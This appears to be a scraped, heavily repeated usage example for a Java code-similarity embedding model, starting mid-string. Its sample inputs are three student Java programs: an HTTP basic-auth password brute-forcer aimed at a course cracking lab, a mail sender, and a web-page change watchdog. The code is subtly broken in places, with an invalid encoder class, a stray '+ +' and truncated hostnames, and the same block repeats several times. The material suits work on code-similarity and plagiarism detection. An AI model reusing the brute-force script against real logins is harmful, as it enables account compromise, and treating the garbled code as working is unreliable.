SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
